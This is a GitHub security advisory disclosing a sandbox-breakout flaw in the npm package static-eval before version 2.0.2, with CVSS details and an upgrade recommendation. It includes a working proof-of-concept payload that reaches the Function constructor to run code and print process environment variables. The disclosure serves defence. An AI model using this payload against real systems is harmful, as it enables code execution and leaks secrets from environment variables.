GitHub Advisoryadvisory · npm
GHSA-x9hc-rw35-f44h Sandbox Breakout / Arbitrary Code Execution in static-eval
HIGH
Official page ↗
- Ecosystem
- npm
- Packages
- static-eval
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
- Weaknesses
- CWE-94
- Reviewed
- 2020-08-31
Affected packages
• npm static-eval: < 2.0.2 → fixed in 2.0.2
Description
Versions of `static-eval`prior to 2.0.2 pass untrusted user input directly to the global function constructor, resulting in an arbitrary code execution vulnerability when user input is parsed via the package.
Proof of concept
```
var evaluate = require('static-eval');
var parse = require('esprima').parse;
var src = process.argv[2];
var payload = '(function({x}){return x.constructor})({x:"".sub})("console.log(process.env)")()'
var ast = parse(payload).body[0].expression;
console.log(evaluate(ast, {x:1}));
```
Recommendation
Upgrade to version 2.0.2 or later.
Related
Weakness · CWE (1)
- CWE-94 Improper Control of Generation of Code weakness